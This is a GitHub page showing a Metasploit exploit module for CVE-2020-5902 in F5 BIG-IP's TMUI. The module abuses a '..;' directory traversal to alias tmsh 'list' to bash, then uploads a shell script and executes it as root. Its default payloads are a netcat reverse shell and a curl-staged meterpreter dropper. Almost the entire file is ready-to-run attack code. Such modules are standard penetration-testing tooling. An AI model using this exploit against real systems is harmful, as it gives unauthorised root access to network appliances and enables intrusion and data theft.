-
Notifications
You must be signed in to change notification settings - Fork 14.1k
/
Copy pathf5_bigip_tmui_rce.rb
186 lines (156 loc) · 4.93 KB
/
f5_bigip_tmui_rce.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'F5 BIG-IP TMUI Directory Traversal and File Upload RCE',
'Description' => %q{
This module exploits a directory traversal in F5's BIG-IP Traffic
Management User Interface (TMUI) to upload a shell script and execute
it as the root user.
},
'Author' => [
'wvu' # Analysis and exploit
],
'References' => [
['CVE', '2020-5902'],
['URL', 'https://support.f5.com/csp/article/K52145254']
# PoC courtesy of F5's advisory above: <LocationMatch ".*\.\.;.*">
],
'DisclosureDate' => '2020-06-30', # Vendor advisory
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
}
],
[
'Linux Dropper',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :curl,
'PAYLOAD' => 'linux/x64/meterpreter_reverse_https'
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true,
'AutoCheck' => false # TODO: Remove this once check is implemented!
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [FIRST_ATTEMPT_FAIL], # Seems a little finicky atm
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
}
)
)
register_options([
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
register_advanced_options([
OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
])
# XXX: https://github.com/rapid7/metasploit-framework/issues/12963
import_target_defaults
end
def check
CheckCode::Unsupported('I need to implement this!')
end
def exploit
create_alias
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
ensure
delete_alias
end
def create_alias
print_status('Creating alias list=bash')
res = send_request_cgi(
'method' => 'POST',
'uri' => '/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp',
'vars_post' => {
'command' => 'create cli alias private list command bash'
}
)
unless res && res.code == 200 && res.get_json_document['error'].blank?
fail_with(Failure::UnexpectedReply, 'Failed to create alias list=bash')
end
print_good('Successfully created alias list=bash')
end
def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
upload_script(cmd)
execute_script
end
def upload_script(cmd)
print_status("Uploading #{script_path}")
res = send_request_cgi(
'method' => 'POST',
'uri' => '/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp',
'vars_post' => {
'fileName' => script_path,
'content' => cmd
}
)
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "Failed to upload #{script_path}")
end
register_file_for_cleanup(script_path)
print_good("Successfully uploaded #{script_path}")
end
def execute_script
print_status("Executing #{script_path}")
send_request_cgi({
'method' => 'POST',
'uri' => '/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp',
'vars_post' => {
'command' => "list #{script_path}"
}
}, 0)
end
def delete_alias
print_status('Deleting alias list=bash')
res = send_request_cgi(
'method' => 'POST',
'uri' => '/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp',
'vars_post' => {
'command' => 'delete cli alias private list'
}
)
unless res && res.code == 200 && res.get_json_document['error'].blank?
print_warning('Failed to delete alias list=bash')
return
end
print_good('Successfully deleted alias list=bash')
end
def script_path
@script_path ||=
normalize_uri(datastore['WritableDir'], rand_text_alphanumeric(8..42))
end
end